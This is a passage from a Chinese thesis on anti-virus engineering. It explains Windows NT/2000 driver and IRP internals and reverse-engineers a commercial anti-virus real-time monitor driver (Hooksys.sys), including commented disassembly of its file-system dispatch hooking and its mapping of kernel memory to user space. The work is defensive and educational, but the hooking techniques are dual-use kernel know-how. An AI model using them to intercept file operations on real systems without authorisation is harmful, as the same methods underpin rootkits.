PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION+1]:一个或多个驱动程序调度例程入口地址数组。每个驱动必须在此数组中为驱动处理的IRP_MJ_XXX请求集设置至少一个调度入口,这样所有的IRP_MJ_XXX请求都会 被I/O管理器导入同一个调度例程。当然,驱动程序也可以为每个IRP_MJ_XXX请求设置独立的调度入口。 

当然,驱动程序中可能包含的例程将远不止以上列出的。比如启动I/O例程,中断服务例程(ISR),中断服务DPC例程,一个或多个完成例程,取消I/O例程,系统关闭通知例程,错误记录例程。只不过我们将要剖析的hooksys.sys中只用到例程中很少一部分,故其余的不予详细介绍。 

设备对象代表已装载的驱动程序为之处理I/O请求的一个逻辑,虚拟或物理设备。每个NT内核模式驱动程序必须在它的初始化例程中一次或多次调用IoCreateDevice来创建它支持的设备对象。例如tcpip.sys在其DriverEntry中就创建了3个共用此驱动的设备对象:Tcp,Udp,Ip。目前有一种比较流行的称为WDM(Windows Driver Model)的驱动程序,在大多数情况下,其二进制映像可以兼容WIN98和WIN2000(32位版本)。WDM与NT内核模式驱动程序的主要区别在于如何创建设备:在WDM驱动程序中,即插即用(PnP)管理器告知何时向系统中添加一个设备,或者从系统中删除设备。WDM驱动程序有一个特殊的AddDevice例程,PnP管理器为共用该驱动的每个设备实例调用该函数;而NT内核模式驱动程序需要做大量额外的工作,它们必须探测自己的硬件,为硬件创建设备对象(通常在DriverEntry中),配置并初始化硬件使其正常工作。设备程序对象结构中的域大部分是透明的,驱动可以访问的域包括: 

PDRIVER_OBJECT DriverObject:指向代表驱动程序装载映象的驱动程序对象的指针。 

所有I/O都是通过I/O请求包(IRP)驱动的。所谓IRP驱动,是指I/O管理器负责在系统的非分页内存中分配一定的空间,当接受用户发出的命令或由事件引发后,将工作指令按一定的数据结构置于其中并传递到驱动程序的服务例程。换言之,IRP中包含了驱动程序的服务例程所需的信息指令。IRP有两部分组成:固定部分(称为标题)和一个或多个堆栈单元。固定部分信息包括:请求的类型和大小,是同步请求还是异步请求,用于缓冲I/O的指向缓冲区的指针和由于请求的进展而变化的状态信息。 

PMDL MdlAddress:指向一个内存描述符表(MDL),该表描述了一个与该请求关联的用户模式缓冲区。如果顶级设备对象的Flags域为DO_DIRECT_IO,则I/O管理器为IRP_MJ_READ或IRP_MJ_WRITE请求创建这个MDL。如果一个IRP_MJ_DEVICE_CONTROL请求的控制代码指定METHOD_IN_DIRECT或METHOD_OUT_DIRECT操作方式,则I/O管理器为该请求使用的输出缓冲区创建一个MDL。MDL本身用于描述用户模式虚拟缓冲区,但它同时也含有该缓冲区锁定内存页的物理地址。 

PVOID AssociatedIrp.SystemBuffer:SystemBuffer指针指向一个数据缓冲区,该缓冲区位于内核模式的非分页内存中于IRP_MJ_READ和IRP_MJ_WRITE操作,如果顶级设备指定DO_BUFFERED_IO标志I/O管理器就创建这个数据缓冲区。对于IRP_MJ_DEVICE_CONTROL操作,如果I/O控制功能代码指出需要缓冲区,则I/O管理器就创建这个数据缓冲区。I/O管理器把用户模式程序发送给驱动程序的数据复制到这个缓冲区,这也是创建IRP过程的一部分。这些数据可以是与WriteFile调用有关的数据,或者是DeviceIoControl调用中所谓的输入数据。对于读请求,设备驱动程序把读出的数据填到这个缓冲区,然后I/O管理器再把缓冲区的内容复制到用户模式缓冲区。对于指定了METHOD_BUFFERED的I/O控制操作,驱动程序把所谓的输出数据放到这个缓冲区, 然后I/O管理器再把数据复制到用户模式的输出缓冲区。 

IO_STATUS_BLOCK IoStatus:IoStatus(IO_STATUS_BLOCK)是一个仅包含两个域的结构,驱动程序在最终完成请求时设置这个结构。IoStatus.Status域将收到一个NTSTATUS代码。 

PVOID UserBuffer:对于METHOD_NEITHER方式的IRP_MJ_DEVICE_CONTROL请求,该域包含输出缓冲区的用户模式虚拟地址。该域还用于保存读写请求缓冲区的用户模式虚拟地址,但指定了DO_BUFFERED_IO或DO_DIRECT_IO标志的驱动程序,其读写例程通常不需要访问这个域。当处理一个METHOD_NEITHER控制操作时,驱动程序能用这个地址创建自己的MDL。 

任何内核模式程序在创建一个IRP时,同时还创建了一个与之关联的IO_STACK_LOCATION结构数组:数组中的每个堆栈单元都对应一个将处理该IRP的驱动程序,另外还有一个堆栈单元供IRP的创建者使用。堆栈单元中包含该IRP的类型代码和参数信息以及完成函数的地址。 

UCHAR MajorFunction:该IRP的主功能码。这个代码应该为类似IRP_MJ_READ一样的值,并与驱动程序对象中MajorFunction表的某个派遣函数指针相对应。 

UCHAR MinorFunction:该IRP的副功能码。它进一步指出该IRP属于哪个主功能类。 

PDEVICE_OBJECT DeviceObject:与该堆栈单元对应的设备对象的地址。该域由IoCallDriver函数负责填写。 

PFILE_OBJECT FileObject:内核文件对象的地址,IRP的目标就是这个文件对象。 

下面简要介绍一下WINNT/2000下I/O请求处理流程。先看对单层驱动程序的同步的I/O请求:I/O请求经过子系统DLL子系统DLL调用I/O管理器中相应的服务。I/O管理器以IRP的形式给设备驱动程序发送请求。驱动程序启动I/O操作。在设备完成了操作并且中断CPU时,设备驱动程序服务于中断。最后I/O管理器完成I/O请求。以上六步只是一个非常粗略的描述,其中的中断处理和I/O完成阶段比较复杂。 

当设备完成了I/O操作后,它将发出中断请求服务。设备中断发生时,处理器将控制权交给内核陷阱处理程序,内核陷阱处理程序将在它的中断调度表(IDT)中定位用于设备的ISR。驱动程序的ISR例程获得控制权后,它通常只在设备IRQL上停留获得设备状态所必需的一段时间,然后停止设备中断,接着它排队一个DPC并清除中断退出操作。IRQL降低至Dispatch/DPC级之前,所有中间优先级中断因而可以得到服务。当DPC例程得到控制时,它将启动设备队列中下一个I/O请求,然后完成中断服务。 

当驱动的DPC例程执行完后,在I/O请求可以考虑结束之前还有一些工作要做。如某些情况下,I/O系统必须将存储在系统内存中的数据复制到调用者的虚拟地址空间中,如将操作结果记录在调用者提供的I/O状态块中或执行缓冲I/O的服务将数据返回给调用线程。这样当DPC例程调用I/O管理器完成原始I/O请求后,I/O管理器会为调用线程调用线程排队一个核心态APC。当线程被调度执行时,挂起的APC被交付。它将把数据和返回状态复制到调用者的地址空间,释放代表I/O操作的IRP,并将调用者的文件句柄或调用者提供的事件或I/O完成端口设置为有信号状态。如果调用者用异步I/O函数ReadFileEx和WriteFileEx指定了用户态APC,则此时还需要将用户态APC排队。最后可以考虑完成I/O。在文件或其它对象句柄上等待的线程将被释放。 

基于文件系统设备的I/O请求处理过程与此是基本相同的,主要区别在于增加一个或多个附加的处理层。例如读文件操作,用户应用程序调用子系统库Kernel32.dll中的API函数ReadFile,ReadFile接着调用系统库Ntdll.dll中的NtReadFile,NtReadFile通过一个陷入指令(INT2E)将处理器模式提升至ring0。然后Ntoskrnl.exe中的系统服务调度程序KiSystemService将在系统服务调度表中定位Ntoskrnl.exe中的NtWReadFile并调用之,同时解除中断。此服务例程是I/O管理器的一部分。它首先检查传递给它们的参数以保护系统安全或防止用户模式程序非法存取数据,然后创建一个主功能代码为IRP_MJ_READ的IRP,并将之送到文件系统驱动程序的入口点。以下的工作会由文件系统驱动程序与磁盘驱动程序分层来完成。文件系统驱动程序可以重用一个IRP或是针对单一的I/O请求创建一组并行工作的关联(associated)IRP。执行IRP的磁盘驱动程序最后可能会访问硬件。对于PIO方式的设备,一个IRP_MJ_READ操作将导致直接读取设备的端口或者是设备实现的内存寄存器。尽管运行在内核模式中的驱动程序可以直接与其硬件会话,但它们通常都使用硬件抽象层(HAL)访问硬件:读操作最终会调用Hal.dll中的READ_PORT_UCHAR例程来从某个I/O口读取单字节数据。 

WINNT/2000下设备和驱动程序的有着明显堆栈式层次结构:处于堆栈最底层的设备对象称为物理设备对象,或简称为PDO,与其对应的驱动程序称为总线驱动程序。在设备对象堆栈的中间某处有一个对象称为功能设备对象,或简称FDO,其对应的驱动程序称为功能驱动程序。在FDO的上面和下面还会有一些过滤器设备对象。位于FDO上面的过滤器设备对象称为上层过滤器,其对应的驱动程序称为上层过滤器驱动程序;位于FDO下面(但仍在PDO之上)的过滤器设备对象称为下层过滤器,其对应的驱动程序称为下层过滤器驱动程序。这种栈式结构可以使I/O请求过程更加明了。每个影响到设备的操作都使用IRP。通常IRP先被送到设备堆栈的最上层驱动程序,然后逐渐过滤到下面的驱动程序。每一层驱动程序都可以决定如何处理IRP。有时,驱动程序不做任何事,仅仅是向下层传递该IRP。有时,驱动程序直接处理完该IRP,不再向下传递。还有时,驱动程序既处理了IRP,又把IRP传递下去。这取决于设备以及IRP所携带的内容。 

通过上面的介绍可得知:如果我们想拦截系统的文件操作,就必须拦截I/O管理器发向文件系统驱动程序的IRP。而拦截IRP最简单的方法莫过于创建一个上层过滤器设备对象并将之加入文件系统设备所在的设备堆栈中。具体方法如下:首先通过IoCreateDevice创建自己的设备对象,然后调用IoGetDeviceObjectPointer来得到文件系统设备(Ntfs,Fastfat,Rdr或Mrxsmb,Cdfs)对象的指针,最后通过IoAttachDeviceToDeviceStack将自己的设备放到设备堆栈上成为一个过滤器。 

这是拦截IRP最常用也是最保险的方法,Art Baker的《Windows NT设备驱动程序设计指南》中有详细介绍,但用它实现病毒实时监控却存在两个问题:其一这种方法是将过滤器放到堆栈的最上层,当存在其它上层过滤器时就不能保证过滤器正好在文件系统设备之上;其二由于过滤器设备需要表现的和文件系统设备一样,这样其所有特性都需从文件系统设备中复制。另外文件系统驱动对象中调度例程过滤器驱动必须都支持,这就意味着我们无法使过滤器驱动中的调度例程供自己的ring3级客户程序所专用,因为原本发往文件系统驱动调度例程的IRP现在都会先从过滤器驱动的调度例程中经过。 

所以Hooksys.sys没有使用上述方法。它的方法更简单且更为直接:它先通过ObReferenceObjectByName得到文件系统驱动对象的指针。然后将驱动对象中MajorFunction数组中的打开,关闭,清除,设置文件信息,和写入调度例程入口地址改为Hooksys.sys中相应钩子函数的入口地址来达到拦截IRP的目的。具体操作细节请参看代码剖析一节。 

下面介绍驱动与ring3下客户程序的通信技术。与WIN9X下驱动与ring3下客户程序通信技术相同,NT/2000仍然支持使用DeviceIoControl实现从ring3到ring0的单向通信,但从ring0通过排队APC来唤醒ring3线程的方法却无法使用了。原因是我没有找到一个公开的函数来实现(Walter Oney的书中说存在一个未公开的函数实现从ring0排队APC)。其实不通过APC我们也可以通过命名的事件/信号量对象来实现双向唤醒,而且这可能比APC更为可靠些。 

对象管理器在Windows NT/2000内核中占了极其重要的位置,其一个最主要职能是组织管理系统内核对象。在Windows NT/2000中,内核对象管理器大量引入了C++面向对象的思想,即所有内核对象都封装在对象管理器内部,除对象管理器自己以外,对其他所有想引用内核对象结构成员的子系统都是不透明的,也即都需通过对象管理器访问这些结构。Microsoft极力推荐内核驱动代码遵循这一原则(用户态代码根本不能直接访问这些数据),它提供了一系列以Ob开头的例程供我们使用。 

内核已命名对象存于系统全局命名内核区,与传统的DOS目录和文件组织方式相似,对象管理器也采用树状结构管理这些对象,这样可以快速检索内核对象。当然使用这种树状结构组织内核已命名对象,还有另一个优点,那就是使所有已命名对象组织的十分有条理,如设备对象处于\Device下,而对象类型名称处于\ObjectTypes下等等。再者这样也能达到使用户态进程仅能访问\??与\BaseNamedObjects下的对象,而内核态代码则没有任何限制的目的。至于系统内部如何组织管理这些已命名对象,其实Windows NT/2000内部由内核变量ObpRootDirectoryObject指向的Directory对象代表根目录,使用哈希表(HashTable)来组织管理这些命名内核对象。 

Hooksys.sys中使用命名的信号量来唤醒ring3级线程。具体做法如下:首先在guidll.dll中调用CreateSemaphore创建一个命名信号量Hookopen并设为无信号状态,同时调用CreateThread创建一个线程。线程代码的入口处通过调用WaitForSingleObject在此信号量上等待被ring0钩子函数唤醒查毒。驱动程序这边则在初始化过程中通过未公开的例程ObReferenceObjectByName(\BaseNamedObjects\Hookopen)得到命名信号量对象Hookopen的指针,当它拦截到文件打开请求时调用KeReleaseSemaphore将Hookopen置为有信号状态唤醒ring3级等待检查打开文件的线程。其实guidll.dll共创建了两个命名信号量,还有一个Hookclose用于唤醒ring3级等待检查关闭文件的线程。 

guidll.dll中使用命名的事件来唤醒暂时挂起等待查毒完毕的ring0钩子函数。具体做法如下:Hooksys.sys在其初始化过程中通过ZwCreateEvent函数创建一组命名事件对象(此处必须合理设置安全描述符,否则ring3线程将无法使用事件句柄)并得到其句柄,同时通过ObReferenceObjectByHandle得到句柄引用的事件对象的指针。然后Hooksys.sys将这一组事件句柄和指针对以及事件名保存在备用链表的每个元素中:ring3使用句柄,ring0使用指针。当钩子函数拦截到文件请求时它首先唤醒ring3查毒线程,然后马上调用KeWaitForSingleObject在一个事件\BaseNamedObjects\Hookxxxx上等待查毒的完成。而被唤醒的ring3查毒线程通过OpenEventA函数由事件名字得到其句柄,在结束查毒后发出一个SetEvent调用将事件置为有信号状态从而唤醒ring0挂起的钩子函数。当然,以上讨论仅限于打开文件操作,钩子函数在拦截到其它文件请求时并不调用KeWaitForSingleObject等待查毒的完成,而是唤醒ring3查毒线程后直接返回;相应的ring3查毒线程也就不必在查毒完成后调用SetEvent进行远程唤醒。 

另外在编写NT内核模式驱动程序时还必须注意一些事项。首先是中断请求级(IRQL),这是在进行NT驱动编程时特别值得注意的问题。每个内核例程都要求在一定的IRQL上运行,如果在调用时不能确定当前IRQL在哪个级别,则可调用KeGetCurrentIrql获取当前的IRQL值并进行判断。例如欲获得指向当前进程Eprocess的指针可以考虑先判断当前的IRQL,如大于等于DISPATCH_LEVEL时可调用IoGetCurrentProcess;而当IRQL小于调度/延迟过程调用级别时(DISPATCH_LEVEL/DPC)则可使用PsGetCurrentProcessId和PsLookupProcessByProcessId。其次要注意的问题是分页/非分页内存。由于执行在提升的IRQL级上时系统将不能处理页故障,因为系统在APC级处理页故障,因而这里总的原则是:执行在高于或等于DISPATCH_LEVEL级上的代码绝对不能造成页故障。这也意味着执行在高于或等于DISPATCH_LEVEL级上的代码必须存在于非分页内存中。此外,所有这些代码要访问的数据也必须存在于非分页内存中。最后是同步互斥问题,这对于如病毒实时监控等系统范围共享的驱动程序尤显重要。虽然在Hooksys中没有创建多线程(PsCreateSystemThread),但由于它挂接了系统文件钩子,系统中所有线程的文件请求都会从Hooksys中经过。当一个线程的文件请求被处理过程中Hooksys会去访问一些全局共享的数据,如过滤器,历史记录等,有可能在访问进行到一半时该线程由于某种原因被抢占了,结果是其它线程的文件请求经过时Hooksys访问的共享数据将是错误的。为此驱动程序必须合理使用自旋锁,互斥量,资源等内核同步对象对共享全局数据的所有线程进行同步。 

3.4.2程序结构与流程 
以下的程序结构与流程分析来自一著名反病毒软件的WINNT/2000实时监控NT内核模式设备驱动程序Hooksys.sys: 

1.初始化例程(DriverEntry):调用_GetProcessNameOffset取得进程名在Eprocess中的偏移。初始化备用,打开文件等待操作,关闭文件,历史记录5个双向循环链表及用于链表操作互斥的4把自旋锁和1个快速互斥量。将全局变量_IrqCount(IRP记数)设置为0。创建卸载保护用事件对象。为文件名过滤数组初始化同步用资源变量。在系统全局命名内核区中检索Hookopen和Hookclose两个命名信号量( _CreateSemaphore)。为备用(_AllocateBuffer)和历史记录(_AllocatHistoryBuf)链表在系统非分页池中分配空间,同时创建一组命名事件对象Hookxxxx并保存至备用链表的每个元素中(_CreateOneEvent)。创建设备,设置驱动例程入口,为设备建立符号连接。创建磁盘驱动器设备对象指针(_QuerySymbolicLink)和文件系统驱动程序对象指针(_HookSys)列表。 

2.打开例程(IRP_MJ_CREATE):将备用链表用系统非分页内存(首地址保存在_SysBufAddr中)映射到用户空间中(保存在_UserBufAddr)以便从用户态可以直接访问这段内存(_MapMemory)。 

3.设备控制例程(IRP_MJ_DEVICE_CONTROL):它会从入口IRP当前堆栈单元中取得用户程序利用DeviceIoControl传送进来的IO控制代码(IoControlCode),以此判断用户程序的意图。和Hooksys.sys协同工作的ring3级客户程序guidll.dll会依次向Hooksys.sys发送IO控制请求来完成一系列工作,具体次序和代码含义如下: 

83003C2F:将guidll取得的驱动器类型值传给驱动(保存在DriverType变量中),根据此变量值的不同,设置不同的等待(KeWaitForSingleObject)超时值,因为非固定驱动器的读写时间会稍长些。 

83003C0F:保存guidll传送的用户指定的拦截文件的类型,其实这个类型过滤器在查毒模块中已存在,这里再设置显然是为了提高处理效率:它确保不会将非指定类型文件送到ring3级查毒模块,节省了通信的开销。经过解析的各文件类型过滤块指针将保存在_gaFileNameFilterArra数组中,同时更新过滤项个数_gNumOfFilters变量的值。 

83003C13:修改文件系统驱动程序对象调度例程入口,启动拦截文件操作的钩子函数的工作。 

83003C17:恢复文件系统驱动程序原调度例程入口,停止拦截文件操作的钩子函数工作。 

以上列出的IO控制代码的发出是固定,而当钩子函数启动后,还会发出一些随机的控制代码: 

83003C07:驱动将打开文件链表的头元素即最先的请求打开的文件删除并插入到等待链表尾部,同时将元素的用户空间地址传送至ring3级等待查杀打开文件的线程中处理。 

83003C0B:驱动将关闭文件链表的头元素即最先的请求关闭的文件删除并插入到备用链表尾部,同时将元素中的文件名串传送至ring3级等待查杀关闭文件的线程中处理 

83003C1F:当查得关闭文件是病毒时,更新历史记录链表。 

下面介绍钩子函数_HookCreateDispatch和guidll中等待查杀打开文件的线程协同工作流程,而关闭,清除,设置文件信息,和写入操作的处理与此大同小异: 

当文件请求进入钩子函数_HookCreateDispatch后,它首先从入口IRP中定位当前的堆栈单元并从中取得代表此次请求的文件对象。然后判断当前进程是否为我们自己,若是则必须放过去,因为查毒模块中要频繁的进行文件操作,所以拦截来自ravmon的文件请求将导致严重的系统死锁。接下来利用堆栈单元中的文件对象取得完整的文件路径名并确保文件不是:\PIPE\,\IPC。之后查找历史记录链表以确定该文件是否最近曾被检查并记录过,若在历史记录链表中找到关于该文件的记录并且记录未失效即其时间戳和当前系统时间之差不得大于1F4h,则可直接从记录中读取查毒结果。如历史链表中没有该文件的记录则利用保存的文件类型过滤阵列检查文件是否在被拦截的文件类型之列。至此才进入真正的检查打开文件函数_RAVCheckOpenFile,此函数入口处先从备用,等待或关闭链表头部摘得一空闲元素(_GetFreeEntry)并填充之,如文件路径名域等。接着将空闲元素加入打开文件链表尾部并释放Hookopen信号量唤醒ring3下等待检查打开文件的线程。然后调用KeWaitForSingleObject在空闲元素中保存的一个事件对象上等待ring3查毒的完成。当钩子函数挂起后,ring3查毒线程得到执行:它会向驱动发出一IO控制码为83003C07的请求以取得打开文件链表头元素即保存最先提交而未决的文件请求,驱动会将元素映射到用户空间中的偏移地址直接传给它。接着它调用RsEngine.dll中的fnScanOneFile函数进行查毒并在元素中设置查毒结果位,完毕后再对元素中保存的事件对象调用SetEvent唤醒在此事件上等待的钩子函数。被唤醒的钩子函数检查被ring3查毒代码设置的结果位以此决定该文件请求是被采纳即调用保存的原调度例程还是被取消即调用IofCompleteRequest直接返回,同时增加历史记录。 

以上只是钩子函数与ring3线程流程的一个简单介绍,其中省略了诸如判断固定驱动器,超时等内容,具体细节请参看guidll.dll和hooksys.sys的反汇编代码注释。 

4.关闭例程(IRP_MJ_CLOSE):停止钩子函数工作,恢复文件系统驱动程序原调度入口(_StopFilter)。解除到用户空间的内存映射。 

5.卸载例程(DriverUnload):停止钩子函数工作,恢复文件系统驱动程序原调度入口。删除设备和符号连接。删除初始化时创建的一组命名事件对象Hookxxxx,包括解除指针引用,关闭打开的句柄。释放为MDL(_pMdl),备用链表(_SysBufAddr),历史记录链表(_HistoryBuf)和过滤器分配的内存空间。删除为文件名过滤数组访问同步设置的资源变量(_FilterResource)。解除对系统全局命名内核区中Hookopen和Hookclose两个命名信号量的指针引用。 

3.4.3HOOKSYS.SYS逆向工程代码剖析 
3.4.3.1取得当前进程名称代码 
初始化例程中取得进程名在Eprocess中偏移 

00011889 call ds:__imp__IoGetCurrentProcess@0 ;得到当前进程System的Eprocess指针 
 0001188F mov edi, eax ;Eprocess基地址 
 00011891 xor esi, esi ;初始化偏移为0 
 00011893 lea eax, [esi+edi] ;扫描指针 
 00011896 push 6 ;进程名长度 
 00011898 push eax ;扫描指针 
 00011899 push offset $SG8452 ; ”System” ;进程名串 
 0001189E call ds:__imp__strncmp ;比较扫描指针处是否为进程名 
 000118A4 add esp, 0Ch ;恢复堆栈 
 000118A7 test eax, eax ;测试比较结果 
 000118A9 jz short loc_118B9 ;找到则跳出循环 
 000118AB inc esi ;增加偏移量 
 000118AC cmp esi, 3000h ;在12K范围中扫描 
 000118B2 jb short loc_11893 ;在范围之内则继续比较 
 钩子函数开始处取得当前进程名 

 00010D1E call ds:__imp__IoGetCurrentProcess@0 ;得到当前进程System的Eprocess指针 
 00010D24 mov ecx, _ProcessNameOffset ;取得保存的进程名偏移量 
 00010D2A add eax, ecx ;得到指向进程名的指针 
3.4.3.2启动钩子函数工作代码 
 000114F4 push 4 ;预先将文件系统驱动对象个数压栈 
 000114F6 mov esi, offset FsDriverObjectPtrList ;取得文件系统驱动对象指针列表偏移地址 
 000114FB pop edi ;用EDI做记数器,初始值为4 
 000114FC mov eax, [esi] ;取得第一个驱动对象的指针 
 000114FE test eax, eax ;测试是否合法 
 00011500 jz short loc_11548 ;不合法则继续下一个修改驱动对象 
 00011502 mov edx, offset _HookCreateDispatch@8 ;取得自己的钩子函数的偏移地址 
 00011507 lea ecx, [eax+38h] ;取得对象中打开调度例程(IRP_MJ_CREATE)偏移 
 0001150A call @InterlockedExchange@8 ;原子操作,替换驱动对象中打开调度例程的入口为钩子函数的偏移地址 
 0001150F mov [esi-10h], eax ;保存原打开调度例程的入口 
  3.4.3.3映射系统内存至用户空间代码 
 0001068E push esi ;系统内存大小 
 0001068F push _SysBufAddr ;系统内存基地址 
 00010695 call ds:__imp__MmSizeOfMdl@8 ;计算描述系统内存所需内存描述符表(MDL)大小 
 0001069B push 206B6444h ;调试用标签 
 000106A0 push eax ;MDL大小 
 000106A1 push 0 ;在系统非分页内存池中分配 
 000106A3 call ds:__imp__ExAllocatePoolWithTag@12 ;为MDL分配内存 
 000106A9 push esi ;系统内存大小 
 000106AA mov _pMdl, eax ;保存MDL指针 
 000106AF push _SysBufAddr ;系统内存基地址 
 000106B5 push eax ;MDL指针 
 000106B6 call ds:__imp__MmCreateMdl@12 ;初始化MDL 
 000106BC push eax ;MDL指针 
 000106BD mov _pMdl, eax ;保存MDL指针 
 000106C2 call ds:__imp__MmBuildMdlForNonPagedPool@4 
 ;填写MDL后物理页面数组 
 000106C8 push 1 ;访问模式 
 000106CA push _pMdl ;MDL指针 
 000106D0 call ds:__imp__MmMapLockedPages@8 ;映射MDL描述的物理内存页面 
 …… 
 000106DB mov _UserBufAddr, eax ;保存映射后的用户空间地址 
 _UserBufAddr 和_SysBufAddr映射到相同的物理地址。 
   结 论 
至此本论文已告撰写完毕。本论文在介绍了诸多目前较为流行的病毒技术后着重讨论了当今两大反病毒技术:虚拟机和实时监控。 

我参与开发的w32encode是一个功能完备且结构复杂的商用虚拟机,它属于32位自含指令式虚拟机,与其它搜索清除模块合并在一起组成了一个功能强大的反病毒引擎。虽然目前它还不能支持所有的386+指令集,但从其查杀毒的运行效果来看结果还是非常令人满意的:普通的加密变形病毒可以在虚拟机默认的处理常式中查杀;特殊的,如hps,marburg等复杂加密变形病毒则可通过向虚拟机中添加少量的病毒特定处理代码来完成查杀。由于反虚拟执行技术的出现,所以今后对此虚拟机源代码的更新–向其中添加更多的对操作系统机制的支持–或者重写–成为真正的虚拟机器而非虚拟CPU–将是不可避免的。 

同时,我通过逆向工程某反病毒软件的实时监控程序,在系统原理和驱动编程上又有了新的认识,并且它大大增强了我的反汇编功力。今后我会将注释的反汇编代码编写成C语言版源代码,并把病毒扫描模块移到系统核心态下工作,从而使整个工程变为“主动的与内核无缝连接”式监控。 

总之当今反病毒技术的主流发展方向是屏弃传统的特征码扫描,创建智能的监控与行为分析引擎,这就必然要求更加先进的虚拟机和实时监控技术。 

致 谢 
在这次毕业设计中,我首先特别要感谢的是我的指导教师赵博士,是他在百忙之中对我耐心的辅导才使这次毕业设计顺利完成。 

其次,对我的联系教师邓老师表示我的最真诚的感谢。虽然我和邓老师接触的时间不是很长,但她的热心诚恳和认真负责给我留下了深刻的印象。 

最后,我还要向北京XX电脑技术开发责任有限公司的几名同事表示感谢。他们在技术上给予了我很大的支持,并且正是他们提供了病毒样本才使得本论文中相关部分得以完成。 

主要参考文献 
David A. Solomon, Mark Russinovich 《Inside Microsoft Windows 2000》September 2000 
David A. Solomon 《Inside Windows NT》 May 1998 
Prasad Dabak,Sandeep Phadke,Milind Borate 《Undocumented Windows NT》October 1999 
Matt Pietrek 《Windows 95 System Programming Secrets》 March 1996 
Walter Oney 《System Programming for Windows 95》 March 1996 
Walter Oney 《Programming the Windows Driver Model》 1999 
陆麟 《WINDOWS9X文件读写Internal》2001